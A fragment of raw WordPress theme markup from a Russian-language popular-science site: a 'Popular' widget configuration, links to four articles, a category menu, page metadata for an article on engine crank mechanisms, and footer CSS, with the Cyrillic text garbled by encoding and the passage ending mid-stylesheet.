'{"modules_on_row":"eyJwb3J0cmFpdCI6IjEwMCUiLCJwaG9uZSI6IjEwMCUifQ==","image_size":"","image_floated":"float_left","image_width":"30","image_height":"70","show_btn":"none","show_excerpt":"none","show_com":"none","show_author":"none","show_cat":"none","limit":"4","meta_padding":"eyJhbGwiOiIwIDAgMCAxM3B4IiwicGhvbmUiOiIwIDAgMCAxNnB4In0=","f_title_font_size":"eyJhbGwiOiIxNCIsInBvcnRyYWl0IjoiMTIifQ==","f_title_font_line_height":"1.4","f_title_font_weight":"500","all_modules_space":"eyJhbGwiOiIzMCIsInBvcnRyYWl0IjoiMjAifQ==","category_id":"","modules_gap":"eyJwb3J0cmFpdCI6IjIwIn0=","show_date":"eyJwb3J0cmFpdCI6Im5vbmUifQ==","custom_title":"\u041f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0435","ajax_pagination":"load_more","sort":"","f_header_font_transform":"uppercase","block_type":"td_flex_block_1","separator":"","custom_url":"","block_template_id":"","title_tag":"","mc1_tl":"","mc1_title_tag":"","mc1_el":"","post_ids":"-16606","taxonomies":"","category_ids":"","in_all_terms":"","tag_slug":"","autors_id":"","installed_post_types":"","include_cf_posts":"","exclude_cf_posts":"","linked_posts":"","favourite_only":"","offset":"","open_in_new_window":"","show_modified_date":"","time_ago":"","time_ago_add_txt":"ago","time_ago_txt_pos":"","review_source":"","el_class":"","td_query_cache":"","td_query_cache_expiration":"","td_ajax_filter_type":"","td_ajax_filter_ids":"","td_filter_default_txt":"All","td_ajax_preloading":"","container_width":"","m_padding":"","modules_border_size":"","modules_border_style":"","modules_border_color":"#eaeaea","modules_border_radius":"","modules_divider":"","modules_divider_color":"#eaeaea","h_effect":"","image_alignment":"50","image_radius":"","hide_image":"","show_favourites":"","fav_size":"2","fav_space":"","fav_ico_color":"","fav_ico_color_h":"","fav_bg":"","fav_bg_h":"","fav_shadow_shadow_header":"","fav_shadow_shadow_title":"Shadow","fav_shadow_shadow_size":"","fav_shadow_shadow_offset_horizontal":"","fav_shadow_shadow_offset_vertical":"","fav_shadow_shadow_spread":"","fav_shadow_shadow_color":"","video_icon":"","video_popup":"yes","video_rec":"","spot_header":"","video_rec_title":"","video_rec_color":"","video_rec_disable":"","autoplay_vid":"yes","show_vid_t":"block","vid_t_margin":"","vid_t_padding":"","video_title_color":"","video_title_color_h":"","video_bg":"","video_overlay":"","vid_t_color":"","vid_t_bg_color":"","f_vid_title_font_header":"","f_vid_title_font_title":"Video pop-up article title","f_vid_title_font_settings":"","f_vid_title_font_family":"","f_vid_title_font_size":"","f_vid_title_font_line_height":"","f_vid_title_font_style":"","f_vid_title_font_weight":"","f_vid_title_font_transform":"","f_vid_title_font_spacing":"","f_vid_title_":"","f_vid_time_font_title":"Video duration text","f_vid_time_font_settings":"","f_vid_time_font_family":"","f_vid_time_font_size":"","f_vid_time_font_line_height":"","f_vid_time_font_style":"","f_vid_time_font_weight":"","f_vid_time_font_transform":"","f_vid_time_font_spacing":"","f_vid_time_":"","meta_info_align":"","meta_info_horiz":"layout-default","meta_width":"","meta_margin":"","meta_space":"","art_title":"","art_btn":"","meta_info_border_size":"","meta_info_border_style":"","meta_info_border_color":"#eaeaea","meta_info_border_radius":"","modules_category":"","modules_category_margin":"","modules_category_padding":"","modules_cat_border":"","modules_category_radius":"0","modules_extra_cat":"","author_photo":"","author_photo_size":"","author_photo_space":"","author_photo_radius":"","show_review":"inline-block","review_space":"","review_size":"2.5","review_distance":"","art_excerpt":"","excerpt_col":"1","excerpt_gap":"","excerpt_middle":"","excerpt_inline":"","show_audio":"block","hide_audio":"","art_audio":"","art_audio_size":"1.5","btn_title":"","btn_margin":"","btn_padding":"","btn_border_width":"","btn_radius":"","pag_space":"","pag_padding":"","pag_border_width":"","pag_border_radius":"","prev_tdicon":"","next_tdicon":"","pag_icons_size":"","f_header_font_header":"","f_header_font_title":"Block header","f_header_font_settings":"","f_header_font_family":"","f_header_font_size":"","f_header_font_line_height":"","f_header_font_style":"","f_header_font_weight":"","f_header_font_spacing":"","f_header_":"","f_ajax_font_title":"Ajax categories","f_ajax_font_settings":"","f_ajax_font_family":"","f_ajax_font_size":"","f_ajax_font_line_height":"","f_ajax_font_style":"","f_ajax_font_weight":"","f_ajax_font_transform":"","f_ajax_font_spacing":"","f_ajax_":"","f_more_font_title":"Load more button","f_more_font_settings":"","f_more_font_family":"","f_more_font_size":"","f_more_font_line_height":"","f_more_font_style":"","f_more_font_weight":"","f_more_font_transform":"","f_more_font_spacing":"","f_more_":"","f_title_font_header":"","f_title_font_title":"Article title","f_title_font_settings":"","f_title_font_family":"","f_title_font_style":"","f_title_font_transform":"","f_title_font_spacing":"","f_title_":"","f_cat_font_title":"Article category tag","f_cat_font_settings":"","f_cat_font_family":"","f_cat_font_size":"","f_cat_font_line_height":"","f_cat_font_style":"","f_cat_font_weight":"","f_cat_font_transform":"","f_cat_font_spacing":"","f_cat_":"","f_meta_font_title":"Article meta info","f_meta_font_settings":"","f_meta_font_family":"","f_meta_font_size":"","f_meta_font_line_height":"","f_meta_font_style":"","f_meta_font_weight":"","f_meta_font_transform":"","f_meta_font_spacing":"","f_meta_":"","f_ex_font_title":"Article excerpt","f_ex_font_settings":"","f_ex_font_family":"","f_ex_font_size":"","f_ex_font_line_height":"","f_ex_font_style":"","f_ex_font_weight":"","f_ex_font_transform":"","f_ex_font_spacing":"","f_ex_":"","f_btn_font_title":"Article read more button","f_btn_font_settings":"","f_btn_font_family":"","f_btn_font_size":"","f_btn_font_line_height":"","f_btn_font_style":"","f_btn_font_weight":"","f_btn_font_transform":"","f_btn_font_spacing":"","f_btn_":"","mix_color":"","mix_type":"","fe_brightness":"1","fe_contrast":"1","fe_saturate":"1","mix_color_h":"","mix_type_h":"","fe_brightness_h":"1","fe_contrast_h":"1","fe_saturate_h":"1","m_bg":"","color_overlay":"","shadow_shadow_header":"","shadow_shadow_title":"Module Shadow","shadow_shadow_size":"","shadow_shadow_offset_horizontal":"","shadow_shadow_offset_vertical":"","shadow_shadow_spread":"","shadow_shadow_color":"","title_txt":"","title_txt_hover":"","all_underline_height":"","all_underline_color":"","cat_bg":"","cat_bg_hover":"","cat_txt":"","cat_txt_hover":"","cat_border":"","cat_border_hover":"","meta_bg":"","author_txt":"","author_txt_hover":"","date_txt":"","ex_txt":"","com_bg":"","com_txt":"","rev_txt":"","audio_btn_color":"","audio_time_color":"","audio_bar_color":"","audio_bar_curr_color":"","shadow_m_shadow_header":"","shadow_m_shadow_title":"Meta info shadow","shadow_m_shadow_size":"","shadow_m_shadow_offset_horizontal":"","shadow_m_shadow_offset_vertical":"","shadow_m_shadow_spread":"","shadow_m_shadow_color":"","btn_bg":"","btn_bg_hover":"","btn_txt":"","btn_txt_hover":"","btn_border":"","btn_border_hover":"","pag_text":"","pag_h_text":"","pag_bg":"","pag_h_bg":"","pag_border":"","pag_h_border":"","ajax_pagination_next_prev_swipe":"","ajax_pagination_infinite_stop":"","css":"","tdc_css":"","td_column_number":1,"header_color":"","color_preset":"","border_top":"","class":"tdi_78","tdc_css_class":"tdi_78","tdc_css_class_style":"tdi_78_rand_style"}'; block_tdi_78.td_column_number = "1"; block_tdi_78.block_type = "td_flex_block_1"; block_tdi_78.post_count = "4"; block_tdi_78.found_posts = "6099"; block_tdi_78.header_color = ""; block_tdi_78.ajax_pagination_infinite_stop = ""; block_tdi_78.max_num_pages = "1525"; tdBlocksArray.push(block_tdi_78); </script><div class="td-block-title-wrap"><h4 class="block-title td-block-title"><span class="td-pulldown-size">袩芯锌褍谢褟褉薪芯械</span></h4></div><div id=tdi_78 class="td_block_inner td-mc1-wrap"> <div class="td_module_flex td_module_flex_1 td_module_wrap td-animation-stack td-cpt-post"> <div class="td-module-container td-category-pos-"> <div class="td-image-container"> <div class="td-module-thumb"><a href="https://www.sciencedebate2008.com/kvartira-v-almaty-stavka-na-pribyl/" rel="bookmark" class="td-image-wrap " title="袣胁邪褉褌懈褉邪 胁 袗谢屑邪褌褘: 褋褌邪胁泻邪 薪邪 锌褉懈斜褘谢褜" ><span class="entry-thumb td-thumb-css" data-type="css_image" data-img-url="https://www.sciencedebate2008.com/wp-content/uploads/img_01-275-696x392.jpg" ></span></a></div> </div> <div class="td-module-meta-info"> <h3 class="entry-title td-module-title"><a href="https://www.sciencedebate2008.com/kvartira-v-almaty-stavka-na-pribyl/" rel="bookmark" title="袣胁邪褉褌懈褉邪 胁 袗谢屑邪褌褘: 褋褌邪胁泻邪 薪邪 锌褉懈斜褘谢褜">袣胁邪褉褌懈褉邪 胁 袗谢屑邪褌褘: 褋褌邪胁泻邪 薪邪 锌褉懈斜褘谢褜</a></h3> <div class="td-editor-date"> <span class="td-author-date"> <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2024-10-02T03:52:46+00:00" >袨泻褌 2, 2024</time></span> </span> </div> </div> </div> </div> <div class="td_module_flex td_module_flex_1 td_module_wrap td-animation-stack td-cpt-post"> <div class="td-module-container td-category-pos-"> <div class="td-image-container"> <div class="td-module-thumb"><a href="https://www.sciencedebate2008.com/vote/" rel="bookmark" class="td-image-wrap " title="袚谢芯斜邪谢褜薪芯械 锌芯褌械锌谢械薪懈械 &#8212; 屑懈褎褘, 蟹邪斜谢褍卸写械薪懈褟, 褎邪泻褌褘 懈 褔械屑 屑芯卸械褌 谐褉芯蟹懈褌褜 锌芯褌械锌谢械薪懈械 泻谢懈屑邪褌邪" ><span class="entry-thumb td-thumb-css" data-type="css_image" data-img-url="https://www.sciencedebate2008.com/wp-content/uploads/emissiya-co2-ot-topliva-i-tsementa.jpg" ></span></a></div> </div> <div class="td-module-meta-info"> <h3 class="entry-title td-module-title"><a href="https://www.sciencedebate2008.com/vote/" rel="bookmark" title="袚谢芯斜邪谢褜薪芯械 锌芯褌械锌谢械薪懈械 &#8212; 屑懈褎褘, 蟹邪斜谢褍卸写械薪懈褟, 褎邪泻褌褘 懈 褔械屑 屑芯卸械褌 谐褉芯蟹懈褌褜 锌芯褌械锌谢械薪懈械 泻谢懈屑邪褌邪">袚谢芯斜邪谢褜薪芯械 锌芯褌械锌谢械薪懈械 &#8212; 屑懈褎褘, 蟹邪斜谢褍卸写械薪懈褟, 褎邪泻褌褘 懈 褔械屑 屑芯卸械褌 谐褉芯蟹懈褌褜 锌芯褌械锌谢械薪懈械 泻谢懈屑邪褌邪</a></h3> <div class="td-editor-date"> <span class="td-author-date"> <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2024-08-26T12:38:02+00:00" >袗胁谐 26, 2024</time></span> </span> </div> </div> </div> </div> <div class="td_module_flex td_module_flex_1 td_module_wrap td-animation-stack td-cpt-post"> <div class="td-module-container td-category-pos-"> <div class="td-image-container"> <div class="td-module-thumb"><a href="https://www.sciencedebate2008.com/new-audi-armored-cars/" rel="bookmark" class="td-image-wrap " title="袘褉芯薪懈褉芯胁邪薪薪褘械 邪胁褌芯屑芯斜懈谢懈 Audi A8 L Security" ><span class="entry-thumb td-thumb-css" data-type="css_image" data-img-url="https://www.sciencedebate2008.com/wp-content/uploads/new-armored-audi-a8.jpg" ></span></a></div> </div> <div class="td-module-meta-info"> <h3 class="entry-title td-module-title"><a href="https://www.sciencedebate2008.com/new-audi-armored-cars/" rel="bookmark" title="袘褉芯薪懈褉芯胁邪薪薪褘械 邪胁褌芯屑芯斜懈谢懈 Audi A8 L Security">袘褉芯薪懈褉芯胁邪薪薪褘械 邪胁褌芯屑芯斜懈谢懈 Audi A8 L Security</a></h3> <div class="td-editor-date"> <span class="td-author-date"> <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2024-08-26T12:28:15+00:00" >袗胁谐 26, 2024</time></span> </span> </div> </div> </div> </div> <div class="td_module_flex td_module_flex_1 td_module_wrap td-animation-stack td-cpt-post"> <div class="td-module-container td-category-pos-"> <div class="td-image-container"> <div class="td-module-thumb"><a href="https://www.sciencedebate2008.com/the-scientific-discoveries-of-the-xx-century/" rel="bookmark" class="td-image-wrap " title="袙械谢懈泻懈械 薪邪褍褔薪褘械 芯褌泻褉褘褌懈褟 XX 胁械泻邪, 褌芯锌 25" ><span class="entry-thumb td-thumb-css" data-type="css_image" data-img-url="https://www.sciencedebate2008.com/wp-content/uploads/xray-experiment-696x502.jpg" ></span></a></div> </div> <div class="td-module-meta-info"> <h3 class="entry-title td-module-title"><a href="https://www.sciencedebate2008.com/the-scientific-discoveries-of-the-xx-century/" rel="bookmark" title="袙械谢懈泻懈械 薪邪褍褔薪褘械 芯褌泻褉褘褌懈褟 XX 胁械泻邪, 褌芯锌 25">袙械谢懈泻懈械 薪邪褍褔薪褘械 芯褌泻褉褘褌懈褟 XX 胁械泻邪, 褌芯锌 25</a></h3> <div class="td-editor-date"> <span class="td-author-date"> <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2024-08-26T11:56:18+00:00" >袗胁谐 26, 2024</time></span> </span> </div> </div> </div> </div> </div><div class="td-load-more-wrap"><a href="#" class="td_ajax_load_more td_ajax_load_more_js" aria-label="袟邪谐褉褍蟹懈褌褜 斜芯谢褜褕械" id="next-page-tdi_78" data-td_block_id="tdi_78">袟邪谐褉褍蟹懈褌褜 斜芯谢褜褕械<i class="td-load-more-icon td-icon-font td-icon-menu-right"></i></a></div></div><div class="td_block_wrap td_block_list_menu tdi_79 td-blm-display-vertical td-pb-border-top td_block_template_1 widget" data-td-block-uid="tdi_79" > <style>.td_block_list_menu ul{flex-wrap:wrap;margin-left:12px}.td_block_list_menu ul li{margin-left:0}.td_block_list_menu ul li a{display:flex;margin-left:0}.td_block_list_menu .td-blm-menu-item-txt{display:flex;align-items:center;flex-grow:1}.td_block_list_menu .sub-menu{padding-left:22px}.td_block_list_menu .sub-menu li{font-size:13px}.td_block_list_menu li.current-menu-item>a,.td_block_list_menu li.current-menu-ancestor>a,.td_block_list_menu li.current-category-ancestor>a,.td_block_list_menu li.current-page-ancestor>a{color:var(--td_theme_color,#4db2ec)}.td_block_list_menu .td-blm-sub-icon{display:flex;align-items:center;justify-content:center;margin-left:.6em;padding:0 .6em;transition:transform .2s ease-in-out}.td_block_list_menu .td-blm-sub-icon svg{display:block;width:1em;height:auto}.td_block_list_menu .td-blm-sub-icon svg,.td_block_list_menu .td-blm-sub-icon svg *{fill:currentColor}.td_block_list_menu.td-blm-display-accordion .menu-item-has-children ul{display:none}.td_block_list_menu.td-blm-display-accordion .menu-item-has-children-open>a>.td-blm-sub-icon{transform:rotate(180deg)}.td_block_list_menu.td-blm-display-horizontal ul{display:flex}body .tdi_79 ul{text-align:left;justify-content:flex-start}body .tdi_79 ul li a{justify-content:flex-start}body .tdi_79 .td-blm-menu-item-txt{flex-grow:1}</style><div class="td-block-title-wrap"></div><div id=tdi_79 class="td_block_inner td-fix-index"><div class="menu-sajdbar-kategorii-container"><ul id="menu-sajdbar-kategorii" class="menu"><li id="menu-item-64801" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-64801"><a href="https://www.sciencedebate2008.com/category/it/"><span class="td-blm-menu-item-txt">IT-褌械褏薪芯谢芯谐懈懈</span></a></li> <li id="menu-item-64803" class="menu-item menu-item-type-taxonomy menu-item-object-category current-post-ancestor current-menu-parent current-post-parent menu-item-64803"><a href="https://www.sciencedebate2008.com/category/auto/"><span class="td-blm-menu-item-txt">袗胁褌芯屑芯斜懈谢懈</span></a></li> <li id="menu-item-64804" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-64804"><a href="https://www.sciencedebate2008.com/category/archeology/"><span class="td-blm-menu-item-txt">袗褉褏械芯谢芯谐懈褟</span></a></li> <li id="menu-item-64805" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-64805"><a href="https://www.sciencedebate2008.com/category/architecture/"><span class="td-blm-menu-item-txt">袗褉褏懈褌械泻褌褍褉邪</span></a></li> <li id="menu-item-64806" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-64806"><a href="https://www.sciencedebate2008.com/category/astronomy/"><span class="td-blm-menu-item-txt">袗褋褌褉芯薪芯屑懈褟</span></a></li> <li id="menu-item-64807" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-64807"><a href="https://www.sciencedebate2008.com/category/biology/"><span class="td-blm-menu-item-txt">袘懈芯谢芯谐懈褟</span></a></li> <li id="menu-item-64808" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-64808"><a href="https://www.sciencedebate2008.com/category/gallerya/"><span class="td-blm-menu-item-txt">袚邪谢械褉械褟 褋邪泄褌邪</span></a></li> <li id="menu-item-64809" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-64809"><a href="https://www.sciencedebate2008.com/category/geography/"><span class="td-blm-menu-item-txt">袚械芯谐褉邪褎懈褟</span></a></li> <li id="menu-item-64810" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-64810"><a href="https://www.sciencedebate2008.com/category/interes/"><span class="td-blm-menu-item-txt">袠薪褌械褉械褋薪芯</span></a></li> <li id="menu-item-64811" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-64811"><a href="https://www.sciencedebate2008.com/category/space/"><span class="td-blm-menu-item-txt">袣芯褋屑芯褋</span></a></li> <li id="menu-item-64812" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-64812"><a href="https://www.sciencedebate2008.com/category/%d0%ba%d1%80%d0%b8%d0%bf%d1%82%d0%be%d0%b2%d0%b0%d0%bb%d1%8e%d1%82%d0%b0/"><span class="td-blm-menu-item-txt">泻褉懈锌褌芯胁邪谢褞褌邪</span></a></li> <li id="menu-item-64813" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-64813"><a href="https://www.sciencedebate2008.com/category/medicine/"><span class="td-blm-menu-item-txt">袦械写懈褑懈薪邪</span></a></li> <li id="menu-item-64814" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-64814"><a href="https://www.sciencedebate2008.com/category/world/"><span class="td-blm-menu-item-txt">袦懈褉芯胁褘械 薪芯胁芯褋褌懈</span></a></li> <li id="menu-item-64815" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-64815"><a href="https://www.sciencedebate2008.com/category/news/"><span class="td-blm-menu-item-txt">袧芯胁芯褋褌懈 薪邪褍泻懈</span></a></li> <li id="menu-item-64817" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-64817"><a href="https://www.sciencedebate2008.com/category/education/"><span class="td-blm-menu-item-txt">袨斜褉邪蟹芯胁邪薪懈械</span></a></li> <li id="menu-item-64818" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-64818"><a href="https://www.sciencedebate2008.com/category/society/"><span class="td-blm-menu-item-txt">袨斜褖械褋褌胁芯</span></a></li> <li id="menu-item-64819" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-64819"><a href="https://www.sciencedebate2008.com/category/politika/"><span class="td-blm-menu-item-txt">袩芯谢懈褌懈泻邪</span></a></li> <li id="menu-item-64820" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-64820"><a href="https://www.sciencedebate2008.com/category/fakts/"><span class="td-blm-menu-item-txt">袩褉芯懈褕械褋褌胁懈褟</span></a></li> <li id="menu-item-64821" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-64821"><a href="https://www.sciencedebate2008.com/category/industry/"><span class="td-blm-menu-item-txt">袩褉芯屑褘褕谢械薪薪芯褋褌褜</span></a></li> <li id="menu-item-64822" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-64822"><a href="https://www.sciencedebate2008.com/category/robots/"><span class="td-blm-menu-item-txt">袪芯斜芯褌褘</span></a></li> <li id="menu-item-64823" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-64823"><a href="https://www.sciencedebate2008.com/category/mobile/"><span class="td-blm-menu-item-txt">小胁褟蟹褜</span></a></li> <li id="menu-item-64824" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-64824"><a href="https://www.sciencedebate2008.com/category/stati/"><span class="td-blm-menu-item-txt">小褌邪褌褜懈</span></a></li> <li id="menu-item-64825" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-64825"><a href="https://www.sciencedebate2008.com/category/physics/"><span class="td-blm-menu-item-txt">肖懈蟹懈泻邪</span></a></li> <li id="menu-item-64827" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-64827"><a href="https://www.sciencedebate2008.com/category/basic-science/"><span class="td-blm-menu-item-txt">肖褍薪写邪屑械薪褌邪谢褜薪邪褟 薪邪褍泻邪</span></a></li> <li id="menu-item-64828" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-64828"><a href="https://www.sciencedebate2008.com/category/chemistry/"><span class="td-blm-menu-item-txt">啸懈屑懈褟</span></a></li> <li id="menu-item-64829" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-64829"><a href="https://www.sciencedebate2008.com/category/human/"><span class="td-blm-menu-item-txt">效械谢芯胁械泻</span></a></li> <li id="menu-item-64830" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-64830"><a href="https://www.sciencedebate2008.com/category/economics/"><span class="td-blm-menu-item-txt">协泻芯薪芯屑懈泻邪</span></a></li> <li id="menu-item-64831" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-64831"><a href="https://www.sciencedebate2008.com/category/energetics/"><span class="td-blm-menu-item-txt">协薪械褉谐械褌懈泻邪</span></a></li> </ul></div></div></div></div></div></div></div></div></div> <span class="td-page-meta" itemprop="author" itemscope itemtype="https://schema.org/Person"><meta itemprop="name" content="袗褋锌懈褉邪薪褌"><meta itemprop="url" content="https://www.sciencedebate2008.com/author/admin/"></span><meta itemprop="datePublished" content="2024-08-26T11:43:28+00:00"><meta itemprop="dateModified" content="2024-08-26T16:14:05+00:00"><meta itemscope itemprop="mainEntityOfPage" itemType="https://schema.org/WebPage" itemid="https://www.sciencedebate2008.com/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya/"/><span class="td-page-meta" itemprop="publisher" itemscope itemtype="https://schema.org/Organization"><span class="td-page-meta" itemprop="logo" itemscope itemtype="https://schema.org/ImageObject"><meta itemprop="url" content="https://www.sciencedebate2008.com/wp-content/uploads/new_logo-1.jpg"></span><meta itemprop="name" content="Science Debate"></span><meta itemprop="headline" content="袣褉懈胁芯褕懈锌薪芯-褕邪褌褍薪薪褘泄 屑械褏邪薪懈蟹屑 写胁懈谐邪褌械谢褟 胁薪褍褌褉械薪薪械谐芯 褋谐芯褉邪薪懈褟"><span class="td-page-meta" itemprop="image" itemscope itemtype="https://schema.org/ImageObject"><meta itemprop="url" content="https://www.sciencedebate2008.com/wp-content/uploads/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya.jpg"><meta itemprop="width" content="745"><meta itemprop="height" content="561"></span> </article> </div> </div> </div> <!-- #tdb-autoload-article --> <div class="td-footer-template-wrap" style="position: relative"> <div class="td-footer-wrap "> <div id="tdi_80" class="tdc-zone"><div class="tdc_zone tdi_81 wpb_row td-pb-row" > <style scoped>.tdi_81{min-height:0}</style><div id="tdi_82" class="tdc-row stretch_row"><div class="vc_row tdi_83 wpb_row td-pb-row tdc-element-style" > <style scoped>.tdi_83,.tdi_83 .tdc-columns{min-height:0}.tdi_83,.tdi_83 .tdc-columns{display:block}.tdi_83 .tdc-columns{width:100%}.tdi_83{padding-top:54px!important;padding-bottom:20px!important;position:relative}.tdi_83 .td_block_wrap{text-align:left}@media (max-width:767px){.tdi_83{padding-top:40px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_83{padding-top:44px!important}}</style> <div class="tdi_82_rand_style td-element-style" ><div class="td-element-style-before"><style>.tdi_82_rand_style>.td-element-style-before{content:''!important;width:100%!important;height:100%!important;position:absolute!important;top:0!important;left:0!important;display:block!important;z-index:0!important;background-image:url("https://www.sciencedebate2008.com/wp-content/uploads/footer_bg.jpg")!important;opacity:0.1!important;background-size:cover!important;background-position:center top!important}</style></div><style>.tdi_82_rand_style{background-color:#111111!important}</style></div><div class="vc_column tdi_85 wpb_column vc_column_container tdc-column td-pb-span12"> <style scoped>.tdi_85{vertical-align:baseline}.tdi_85>.wpb_wrapper,.tdi_85>.wpb_wrapper>.tdc-elements{display:block}.tdi_85>.wpb_wrapper>.tdc-elements{width:100%}.tdi_85>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_85>.wpb_wrapper{width:auto;height:auto}</style><div class="wpb_wrapper" ><div class="vc_row_inner tdi_87 vc_row vc_inner wpb_row td-pb-row" > <style scoped>.tdi_87{position:relative!important;top:0;transform:none;-webkit-transform:none}.tdi_87,.tdi_87 .tdc-inner-columns{display:block}.tdi_87 .tdc-inner-columns{width:100%}</style><div class="vc_column_inner tdi_89 wpb_column vc_column_container tdc-inner-column td-pb-span4"> <style scoped>.tdi_89{vertical-align:baseline}.tdi_89 .vc_column-inner>.wpb_wrapper,.tdi_89 .vc_column-inner>.wpb_wrapper .tdc-elements{display:block}.tdi_89 .vc_column-inner>.wpb_wrapper .tdc-elements{width:100%}</style><div class="vc_column-inner"><div class="wpb_wrapper" ><div class="td_block_wrap td_flex_block_1 tdi_90 td-pb-border-top td_block_template_2 td_flex_block" data-td-block-uid="tdi_90" > <style>.td_block_template_2.widget>ul>li{margin-left:0!important}.td_block_template_2 .td-block-title{font-size:17px;font-weight:500;margin-top:0;margin-bottom:16px;line-height:31px;text-align:left}.td_block_template_2 .td-block-title>*{color:var(--td_text_header_color,#000)}.td_block_template_2 .td-related-title a{padding:0 20px 0 0}@media (max-width:767px){.td_block_template_2 .td-related-title a{font-size:15px}}.td_block_template_2 .td-related-title .td-cur-simple-item{color:var(--td_theme_color,#4db2ec)}.td-theme-wrap .tdi_90 .td-block-title>*,.td-theme-wrap .tdi_90 .td-pulldown-filter-link:hover,.td-theme-wrap .tdi_90 .td-subcat-item a:hover,.td-theme-wrap .tdi_90 .td-subcat-item .td-cur-simple-item,.td-theme-wrap .tdi_90 .td-subcat-dropdown:hover .td-subcat-more span,.td-theme-wrap .tdi_90 .td-subcat-dropdown:hover .td-subcat-more i{color:#ffffff}.td-theme-wrap .tdi_90 .td-subcat-dropdown ul:after{background-color:#ffffff}.td-theme-wrap .tdi_90 .td_module_wrap:hover .entry-title a,.td-theme-wrap .tdi_90 .td_quote_on_blocks,.td-theme-wrap .tdi_90 .td-opacity-cat .td-post-category:hover,.td-theme-wrap .tdi_90 .td-opacity-read .td-read-more a:hover,.td-theme-wrap .tdi_90 .td-opacity-author .td-post-author-name a:hover,.td-theme-wrap .tdi_90 .td-instagram-user a{color:#ffffff}.td-theme-wrap .tdi_90 .td-next-prev-wrap a:hover,.td-theme-wrap .tdi_90 .td-load-more-wrap a:hover{background-color:#ffffff;border-color:#ffffff}.td-theme-wrap .tdi_90 .td-read-more a,.td-theme-wrap .tdi_90 .td-weather-information:before,.td-theme-wrap .tdi_90 .td-weather-week:before,.td-theme-wrap .tdi_90 .td-exchange-header:before,.td-theme-wrap .td-footer-wrapper .tdi_90 .td-post-category,.td-theme-wrap .tdi_90 .td-post-category:hover{background-color:#ffffff}@media (max-width:767px){.tdi_90{margin-bottom:40px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_90{margin-bottom:20px!important}}</style> <style>.tdi_90 .td-image-wrap{padding-bottom:70%}.tdi_90 .entry-thumb{background-position:center 50%}.tdi_90 .td-image-container{flex:0 0 30%;width:30%;display:block;order:0}.ie10 .tdi_90 .td-image-container,.ie11 .tdi_90 .td-image-container{flex:0 0 auto}.tdi_90 .td-module-container{flex-direction:row;border-color:#eaeaea!important}.ie10 .tdi_90 .td-module-meta-info,.ie11 .tdi_90 .td-module-meta-info{flex:1}body .tdi_90 .td-favorite{font-size:36px;box-shadow:1px 1px 4px 0px rgba(0,0,0,0.2)}.tdi_90 .td-module-meta-info{padding:0 0 0 16px;border-color:#eaeaea}.tdi_90 .td_module_wrap{padding-left:20px;padding-right:20px;padding-bottom:13px;margin-bottom:13px}.tdi_90 .td_block_inner{margin-left:-20px;margin-right:-20px}.tdi_90 .td-module-container:before{bottom:-13px;border-color:#eaeaea}.tdi_90 .td-video-play-ico{width:24px;height:24px;font-size:24px}.tdi_90 .td-post-vid-time{display:block}.tdi_90 .td-post-category:not(.td-post-extra-category){display:none}.tdi_90 .td-author-photo .avatar{width:20px;height:20px;margin-right:6px;border-radius:50%}.tdi_90 .td-excerpt{display:none;column-count:1;column-gap:48px}.tdi_90 .td-audio-player{opacity:1;visibility:visible;height:auto;font-size:13px}.tdi_90 .td-read-more{display:none}.tdi_90 .td-author-date{display:inline}.tdi_90 .td-post-author-name{display:none}.tdi_90 .entry-review-stars{display:inline-block;color:#ffffff}.tdi_90 .td-icon-star,.tdi_90 .td-icon-star-empty,.tdi_90 .td-icon-star-half{font-size:15px}.tdi_90 .td-module-comments{display:none}.tdi_90 .td_module_wrap:nth-last-child(1){margin-bottom:0;padding-bottom:0}.tdi_90 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none}.tdi_90 .td-module-title a{color:#ffffff}.tdi_90 .td_module_wrap:hover .td-module-title a{color:#4db2ec!important}.tdi_90 .td-block-title a,.tdi_90 .td-block-title span{font-size:18px!important}.tdi_90 .entry-title{font-size:14px!important;line-height:1.4!important;font-weight:500!important}html:not([class*='ie']) .tdi_90 .td-module-container:hover .entry-thumb:before{opacity:0}@media (min-width:1019px) and (max-width:1140px){.tdi_90 .td_module_wrap{padding-bottom:13px;margin-bottom:13px}.tdi_90 .td-module-container:before{bottom:-13px}.tdi_90 .td_module_wrap{padding-bottom:13px!important;margin-bottom:13px!important}.tdi_90 .td_module_wrap:nth-last-child(1){margin-bottom:0!important;padding-bottom:0!important}.tdi_90 .td_module_wrap .td-module-container:before{display:block!important}.tdi_90 .td_module_wrap:nth-last-child(1) 